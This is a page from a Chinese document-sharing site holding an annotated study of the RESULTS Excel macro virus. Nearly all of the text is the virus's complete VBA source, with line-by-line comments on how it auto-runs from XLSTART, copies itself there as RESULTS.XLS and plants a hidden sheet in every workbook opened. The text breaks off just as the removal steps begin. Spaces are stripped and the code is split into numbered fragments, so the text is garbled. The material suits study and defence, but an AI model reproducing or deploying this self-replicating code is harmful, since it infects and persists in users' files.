RESULTS宏病毒学习与处理方法.doc

《RESULTS宏病毒学习与处理方法.doc》由会员上传分享，免费在线阅读，更多相关内容在工程资料-天天文库。

1、RESULTS宏病毒学习与处理方法Subauto_open()Application.OnSheetActivate="ck_files"'这个auto_open，是文件打开自动执行。由于本文件是放在xlstart文件夹，任何excel文件启动，都会先打开这个文件。EndSubSubck_files()c$=Application.StartupPath'取得xlstart文件夹的路径m$=Dir(c$&""&"RESULTS.XLS")'取得results.xls文件名Ifm$="RESULTS.XLS"Thenp=1Elsep=0'如果re

2、sult文件不存在，m$是""IfActiveWorkbook.Modules.Count>0Thenw=1Elsew=0'判断活动工作簿的模块数量。这个活动工作簿，不是results.xls，是你正常打开的那个工作簿。whichfile=p+w*10'这个whichfile变量，是10的话，就是当前活动工作簿有模块，而xlstart中没有resutlts.xls，是1的话，则相反。SelectCasewhichfileCase10'当前活动工作簿有模块，而xlstart中没有resutlts.xls执行以下代码Application.Scree

3、nUpdating=Falsen4$=ActiveWorkbook.NameSheets("results").Visible=TrueSheets("results").SelectSheets("results").Copy'将results工作表copy出来，新建一个工作簿。这个工作簿就是下面的活动工作簿了。WithActiveWorkbook.Title=""'帮助中说这是保存为网页时，文档的名称，现在是空白的。.Subject=""'帮助中说这是发邮件时，作为邮件主题.Author=""'文档作者.Keywords=""'关键词.Com

4、ments=""'注释EndWithnewname$=ActiveWorkbook.Namec4$=CurDir()'得到当前驱动器路径,比如C:,E:ChDirApplication.StartupPath'改变路径到xlstartActiveWindow.Visible=FalseWorkbooks(newname$).SaveAsFilename:=Application.StartupPath&"/"&"RESULTS.XLS",FileFormat:=xlNormal_,Password:="",WriteResPassword:=

5、"",ReadOnlyRecommended:=_False,CreateBackup:=False'关键的地方，由于新建工作簿包含results，而xlstart文件夹中没有，所以将新建工作簿以results.xls名保存在xlstart文件夹中。ChDirc4$'保存结束，重新转入到原来正常使用的工作簿的路径Workbooks(n4$).Sheets("results").Visible=False'隐藏results工作表Application.OnSheetActivate=""'如果你原来就有onsheetactivate的变量，这儿被

6、它改了。Application.ScreenUpdating=TrueApplication.OnSheetActivate="RESULTS.XLS!ck_files"'每次将工作表变动一下就会执行这个代码。如果你有好多工作簿，都操作一遍，那么全部染上它了。Case1'当前活动工作簿没有模块，而xlstart中有resutlts.xlsApplication.ScreenUpdating=Falsen4$=ActiveWorkbook.Namep4$=ActiveWorkbook.Paths$=Workbooks(n4$).Sheets(1).

7、NameIfs$<>"results"Then'如果你使用的工作簿第一个工作表不是results，那么它就插入病毒文件了。Workbooks("RESULTS.XLS").Sheets("results").Copybefore:=Workbooks(n4$).Sheets(1)Workbooks(n4$).Sheets("results").Visible=FalseElseEndIfApplication.OnSheetActivate=""Application.ScreenUpdating=TrueApplication.OnSheetA

8、ctivate="RESULTS.XLS!ck_files"CaseElseEndSelectEndSub如果不慎运行了代码，可以这样处